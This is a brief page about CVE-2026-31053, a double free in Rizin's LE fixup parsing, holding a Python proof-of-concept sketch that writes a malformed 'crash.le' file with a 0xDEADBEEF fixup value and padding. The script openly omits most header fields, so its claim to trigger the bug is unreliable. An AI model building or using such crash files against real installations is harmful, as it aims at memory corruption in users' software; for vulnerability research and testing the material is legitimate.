CVE-2026-31053 Rizin双重释放漏洞

import struct # PoC Concept: Create a malformed LE binary with circular fixup records # This script generates a dummy file intended to trigger the double free in le_load_fixup_record. def generate_malformed_le(filename): with open(filename, 'wb') as f: # LE Header (Simplified) # Signature 'LE' (0x4C45) and some minimal fields f.write(b'LE') # ... (Other header fields would go here) # Construct a circular fixup chain entry # This structure is designed to confuse the parser's free logic fixup_data = struct.pack('<I', 0xDEADBEEF) # Invalid offset pointing back or causing loop f.write(fixup_data) # Fill with padding to reach the vulnerable parsing logic f.write(b'A' * 100) if __name__ == "__main__": print("Generating PoC LE file...") generate_malformed_le('crash.le') print("File 'crash.le' generated. Run Rizin against this file to test.")